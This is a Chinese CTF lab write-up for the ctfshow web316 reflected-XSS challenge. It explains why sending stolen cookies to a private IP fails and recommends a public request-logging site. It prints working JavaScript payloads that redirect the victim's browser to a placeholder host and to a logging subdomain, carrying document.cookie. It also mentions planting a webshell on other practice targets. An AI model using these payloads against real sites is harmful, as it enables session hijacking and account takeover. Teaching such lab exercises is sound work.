目录

使用weblog平台接收xss窃取的cookie

下面以反射型xss举例,使用免费无需登录的weblog平台记录http请求,拿到xss窃取的cookie,好用推荐!

什么是XSS?攻击者准备了一个payload,在用户点击后,在用户浏览器里执行了攻击者提供的javascript代码,js代码可以获取到用户的cookie等信息。xss题目一般后台会有一个机器人脚本/功能,定期执行用户提交的payload。

例如,一个页面,会把url里的参数值显示在页面,例如http://example.com/?name=<script>alert(1)</script>,如果页面没有对参数值进行过滤,直接显示在页面上,那么就会执行<script>alert(1)</script>这段代码,弹出一个提示框。

什么是叉自己?

# 叉自己举例/细节

下面以web316具体举例。

打开靶机,看看自己的cookie,flag=you are not admin no flag,真实的flag是网站管理员的cookie,也就是后台的xss bot机器人的cookie

1

随便输入111,提交,提交的内容111直接显示在了页面上。重点提交的111是一个get参数出现在url里,可以在页面直接显示,有xss漏洞的可能。

2

提交一串js代码

<script>alert(1)</script>
1

页面成功执行了js代码,弹出提示框1,说明有xss漏洞。

3

可以使用js代码,在用户打开恶意构造的url时,执行js,发起一个网络请求,把用户的cookie发送到攻击者的服务器上。

窃取用户cookie有什么用?,对于一些简单的站点,在访问站点时,带上该用户的cookie,有可能可以直接登录该用户的账号,获取用户的敏感信息。

例如下面这段代码,获取当前页面网站的cookie,把网站重定向请求攻击者的服务器上,把这里的http://example.com换成自己服务器的ip就可以收到这个xss请求的cookie。

<script>
window.location.href = 'http://example.com/?cookie=' + document.cookie
</script>
1
2
3

新手师傅自然而然想到查看自己电脑的ip,把上面换成自己的ip,PHPstudy或者python开个web服务,发现flag是you are not admin no flag,没有拿到flag。

例如我使用python开一个python http服务,我的ip是192.168.6.116,端口4444

4

你拿到的这个cookie是谁的?你自己的。你写了一个恶意xss payload在攻击自己,叉自己。在你提交这个恶意payload时,靶机后台xss bot在执行这个js代码时,在他内网没有这个主机,找不到他内网的192.168.6.116这个ip,访问不到你的192,172,10段ip

5

# 解决方案

那就有好奇宝宝要问了,对啊对啊,我是内网ip,靶机访问不到我,我该怎么做这题?好问题,提供几个简单的方法

  • 使用网络上免费提供的weblog平台,把xss的请求url叉到这里。(简单推荐,0成本,即开即用)
  • 使用自己的公网服务器python开启一个http服务。注意不要直接在~目录开启,会泄露~目录的所有文件,网络上会有恶意攻击者专门扫描这个特征指纹。
  • 如果你在做ctfshow的xss,同时你还有攻防世界、buuctf、nssctf靶场的账号,在其他靶场找个简单的web题目,拿个webshell,写个php文件,把url请求的参数值写进文件。
  • 使用内网穿透攻击,把本地内网ip、端口映射到公网。

这里只介绍第一种方法,其他方法自行探索。

weblog推荐平台 eyes.sh (opens new window)

打开,直接使用平台分配的账号进去,不需要自己注册。

dnslog页面,记录分配给你的子域名

6

修改xss payload,把受害者(xss bot)的cookie叉到这里,不出意外的话,会收到两个请求,一个是你提交payload时触发的请求,另一个是靶机后台xss bot执行payload时触发的请求。

<script>
window.location.href = 'http://enwvbm6o.eyes.sh/?cookie=' + document.cookie
</script>
1
2
3

验证成功

7

最后一次更新于: 2025/06/15, 18:00:18